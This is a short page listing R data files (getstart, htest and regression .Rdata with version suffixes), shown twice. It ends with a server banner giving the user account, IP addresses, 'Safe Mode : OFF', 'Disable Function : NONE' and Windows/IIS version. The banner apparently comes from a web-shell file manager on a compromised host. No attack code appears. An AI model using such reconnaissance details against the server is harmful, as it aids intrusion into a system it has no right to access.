| getstart.Rdata | |||
| getstart_2.12.1.Rdata | |||
| htest.Rdata | |||
| htest_2.13.0.Rdata | |||
| regression.Rdata | |||
| regression_2.10.1.Rdata | |||
| regression_2.14.1.Rdata | |||
| regression_2.15.2.Rdata | |||
| regression_2.9.0.Rdata | |||
| regression_3.0.1.Rdata | |||
| regression_3.0.3.Rdata | |||
| regression_3.1.0.Rdata |

| getstart.Rdata | |||
| getstart_2.12.1.Rdata | |||
| htest.Rdata | |||
| htest_2.13.0.Rdata | |||
| regression.Rdata | |||
| regression_2.10.1.Rdata | |||
| regression_2.14.1.Rdata | |||
| regression_2.15.2.Rdata | |||
| regression_2.9.0.Rdata | |||
| regression_3.0.1.Rdata | |||
| regression_3.0.3.Rdata | |||
| regression_3.1.0.Rdata |
User : IUSR
Group : 0
Server IP : 18.217.4.87
User IP : 216.73.216.53
Safe Mode : OFF
Disable Function : NONE
Software : Microsoft-IIS/10.0
System : Windows NT EC2AMAZ-K4CACSF 10.0 build 14393 (Windows Server 2016) i586